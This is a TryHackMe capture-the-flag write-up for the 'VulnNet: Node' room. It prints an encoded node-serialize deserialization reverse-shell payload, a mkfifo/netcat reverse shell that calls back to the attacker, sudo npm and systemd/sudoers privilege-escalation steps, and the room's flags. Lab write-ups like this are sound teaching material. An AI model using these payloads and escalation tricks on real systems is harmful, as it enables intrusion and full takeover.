TryHackMe - VulnNet: Node - Writeup
After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?
Nmap Fuzzing
root@ip-10-10-193-224:~# nmap -sCV -A 10.10.97.187 -T3
Starting Nmap 7.60 ( https://nmap.org ) at 2021-06-14 12:33 BST
Nmap scan report for ip-10-10-97-187.eu-west-1.compute.internal (10.10.97.187)
Host is up (0.00050s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!
MAC Address: 02:17:D9:C4:57:B1 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=6/14%OT=8080%CT=1%CU=35295%PV=Y%DS=1%DC=D%G=Y%M=0217D9
OS:%TM=60C73E98%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%TS
OS:=A)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M
OS:2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST1
OS:1)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%
OS:W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%U
OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms ip-10-10-97-187.eu-west-1.compute.internal (10.10.97.187)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.33 seconds
Directory Fuzzing
---- Scanning URL: http://10.10.7.107:8080/ ----
+ http://10.10.7.107:8080/css (CODE:301|SIZE:173)
+ http://10.10.7.107:8080/img (CODE:301|SIZE:173)
+ http://10.10.7.107:8080/login (CODE:200|SIZE:2127)
+ http://10.10.7.107:8080/Login (CODE:200|SIZE:2127)
Nothing special about the directory in this box, One thing caught my eye is Node.js vulnerabilities still present this times and the server running on node as well and also I saw in request header there is base64 encoded cookie
GET / HTTP/1.1
Host: node.thm:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://node.thm:8080/login?
Cookie: session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"1daf-dPXia8DLlOwYnTXebWSDo/Cj9Co"
I decoded the base64 cookie
{"username":"Guest","isGuest":true,"encoding": "utf-8"}
Interesting so I searched if any exploit avilable for node.js
root@ip-10-10-101-82:~# searchsploit node.js
----------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution | linux/remote/45265.js
Trend Micro - node.js HTTP Server Listening on localhost Can Execute C | windows/remote/39218.html
----------------------------------------------------------------------- ---------------------------------
Previously I read a blog about deserialization of node js so it’s fun to implement, I used the NodeJsShell.py to generate shell
root@ip-10-10-101-82:~# python2 nodejsshell.py 10.10.101.82 4444
[+] LHOST = 10.10.101.82
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,48,49,46,56,50,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
Then you have to use {"rce":"_$$ND_FUNC$$_function (){ // your code goes here }()"}
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,48,49,46,56,50,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
Now encode this to base64 and intercept the request of the nodejs server and paste the base64 in cookie make sure you listenting to the port from netcat you set on you reverse shell
root@ip-10-10-101-82:~# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.7.107 41980 received!
Connected!
whoami
www
If you want to use the linux/remote/45265.js
exploit you just need to change few things
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.101.82 4444 >/tmp/f')}()","isGuest":false,"encoding": "utf-8"}
Then you’ll get the shell.
We go connection and the low priv user is www
now spawn the shell to get a normal stability
python -c 'import pty; pty.spawn("/bin/bash")'
$ ls /home
ls /home
serv-manage www
$ ls /home/serv-manage
ls /home/serv-manage
ls: cannot open directory '/home/serv-manage': Permission denied
We don’t have permission in serv-manage
so it’s time to escalate to serv-manage
and then root. So, sudo -l
return that www
can run /usr/bin/npm
as sudo
$ sudo -l
sudo -l
Matching Defaults entries for www on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www may run the following commands on vulnnet-node:
(serv-manage) NOPASSWD: /usr/bin/npm
After seeing this I head out to GTFOBins NPM
$ TF=$(mktemp -d)
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage npm -C $TF --unsafe-perm i
I got error after running sudo because /tmp/tmp.*
item have no permission.
npm ERR! [OperationalError: EACCES: permission denied, open '/tmp/tmp.c8MIpWLAXH/npm-shrinkwrap.json'] {
npm ERR! cause: [Error: EACCES: permission denied, open '/tmp/tmp.c8MIpWLAXH/npm-shrinkwrap.json'] {
So make it executable using chmod 777 /tmp/tmp.* -R
and then run the sudo command once again.
$ sudo -u serv-manage npm -C $TF --unsafe-perm i
sudo -u serv-manage npm -C $TF --unsafe-perm i
> @ preinstall /tmp/tmp.c8MIpWLAXH
> /bin/sh
$ whoami
whoami
serv-manage
Now we are serv-manage
cd /home/serv-manage
$ ls
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
$ cat user.txt
cat user.txt
THM{064640a2f880ce9ed7a54886f1bde821}
User flag: THM{064640a2f880ce9ed7a54886f1bde821}
Now it’s time for root access. for root access I normally approch with sudo -l
if I my priv is lower for example www
anyway so. In this sudo list serv-manage can run systemctl start stop and daemon-reload of vulnnet-auto.timer
$ sudo -l
sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl daemon-reload
So, I was checking if I can write into the vuln-auto.timer /etc/systemd/system
$ ls -la /etc/systemd/system/vulnnet-auto.timer
ls -la /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer
We have permission to write into vulnnet-auto.timer
$ cat /etc/systemd/system/vulnnet-auto.timer
cat /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service
[Install]
WantedBy=basic.target
vulnnet-job.service
unit service set as timer let’s check
$ cat /etc/systemd/system/vulnnet-job.service
cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df
[Install]
WantedBy=multi-user.target
this service calling /bin/df
each time it runs. Edit the vulnnet-job.service
with vi
serv-manage@vulnnet-node:/tmp$ cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/bash -c 'echo "serv-manage ALL=(root) NOPASSWD: ALL" > /etc/sudoers'
[Install]
WantedBy=multi-user.target
Add /bin/bash -c 'echo "serv-manage ALL=(root) NOPASSWD: ALL" > /etc/sudoers'
in ExecStart so serv-manage will have root power when the user will use sudo su
serv-manage@vulnnet-node:/tmp$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:/tmp$ sudo /bin/systemctl daemon-reload
serv-manage@vulnnet-node:/tmp$ sudo /bin/systemctl start vulnnet-auto.timer
stop the timer and daemon will reload the background process and start the timer service, wait few second and try to access using sudo su
serv-manage@vulnnet-node:/tmp$ sudo -l
User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: ALL
serv-manage@vulnnet-node:/tmp$ sudo su
root@vulnnet-node:/tmp# cat /root/root.txt
THM{abea728f211b105a608a720a37adabf9}
Root flag: THM{abea728f211b105a608a720a37adabf9}
Thanks for reading
Room link: VulnNet: Node